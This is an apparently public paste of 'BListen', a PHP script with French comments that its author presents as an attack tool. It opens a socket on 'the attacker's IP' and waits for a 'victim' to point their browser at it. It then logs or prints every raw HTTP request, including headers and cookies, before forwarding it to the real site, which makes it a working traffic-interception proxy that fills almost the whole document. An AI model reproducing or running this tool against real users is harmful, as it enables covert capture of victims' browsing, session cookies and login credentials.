Public feed #603350

BListen Public Version 1

public php v1 · immutable
Raw Edit
·published 2007-07-04 18:38 UTC
rendered paste body
<?phperror_reporting(E_ALL ^ E_NOTICE);$VERSION = 'BListen 0.5';if($argc < 3){print("                        < $VERSION  > ---------------------------------------------------------------------|             Credits: Black_H <bl4ck.h@gmail.com>                    ||                 URL: Lemon-Inside.sup.fr                            ||                Note: Petit tool code for fun ^^                     | --------------------------------------------------------------------- ---------------------------------------------------------------------|   Usage:  $argv[0] -ip <ip> <Options>                            ||  Params:  -ip       L'IP de l'attaquant | 127.0.0.1                 ||  Options: -port     Le port ou sera crée le socket  | 666           ||           -file     Name of log file | Log-<date>.txt               | ---------------------------------------------------------------------		                          </ $VERSION  >");exit(1);}# $Argv##########$server_addr = getparam('ip',1);$server_port = (getparam('port')!='') ? getparam('port') : '666'; //Eviiiil  ^^$server_url  = "$server_addr:$server_port";$save_file = getparam('file');//$save_file = (getparam('file')!='') ? getparam('file') : 'Log-'.rand().'.txt';$do = FALSE;# Socket##########$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);socket_bind($handle, $server_addr, $server_port);socket_listen($handle);print "\n[/]Attente d'une connection a $server_url";print "\n[!]Maintenant la victime doit configurer sont navigateur ...";do{	$packet = '';		if(!$msg = socket_accept($handle))	   exit(1);	   	while(!ereg("\r\n\r\n",$packet))	   $packet .= socket_read($msg, 2048, PHP_BINARY_READ);	           socket_getpeername($msg, $clientaddr, $clientport);		print "\n[+]Reception de ".strlen($packet)." bytes de $clientaddr:$clientport";	if(preg_match("#Host: ([^/]+)\r\nUser#", $packet, $host))	{				$url = explode(': ',$host[1]);		$url = $url[0];			# Pas de Localhost Pliiiz =)	#######################		if (preg_match("#localhost#", $url) || preg_match("#127.0.0.1#", $url)){			print "\n[/]Accès Interdit ! <$url>";			exit(1);		}					# Demande de log  ?			#######################		if ($save_file != ''){			if(create($save_file, $do))			   $do = TRUE;			   save_listen($save_file, $packet);					print "\n[/]Enregistrements des donnees recu de <$url>";				}		else print "\n\n[-]Affichage des packets recus ...\n\n".$packet;												get_site($url, $msg, $packet);	}	socket_close($msg);}while(TRUE);# Function which is like getopt() - (c) darkfig###################################function getparam($param,$opt=''){	global $argv;		foreach($argv as $value => $key)	{		if($key == '-'.$param)		   return $argv[$value+1];	}		if($opt)	   exit("-$param parameter required");	else	   return;}function create($name,$do=FALSE){if (!$do){$text = "                      BListen Log File ---------------------------------------------------------------------|             Credits: Black_H <bl4ck.h@gmail.com>                    ||                 URL: Lemon-Inside.sup.fr                            | --------------------------------------------------------------------- ";$open = fopen($name,"a+");     if (!fwrite($open, $text)) {      print '\n[!]Impossible de creer le fichier '.$name;      exit(1);    }      fclose($open);    return TRUE;}else return TRUE;}function save_listen($name, $packet){if (is_writable($name)) {$open = fopen($name,"a+");    if (!fwrite($open, $packet)){      print '\n[!]Impossible d\'écrire dans le fichier '.$name;      exit(1);    }       fclose($open);                   }else {      print '\n[!]Impossible d\'écrire dans le fichier '.$name;      exit(1);    }}function get_site($url, $msg, $packet){				$port = getservbyname('www', 'tcp');$host = gethostbyname($url);$socket = @fsockopen($url,$port);/*$packet = "GET / HTTP/1.1\r\n";$packet .= 'Host: '.$url."\r\n";$packet .= "Connection: Close\r\n";$packet .= "\r\n";*/fputs($socket,$packet);while(!feof($socket)){ $recv .= fgets($socket);}		print "\n[+]Envoie de ".strlen($ecv)." bytes";		socket_write($msg, $recv, strlen($recv));		$recv = '';		unset($recv);}?>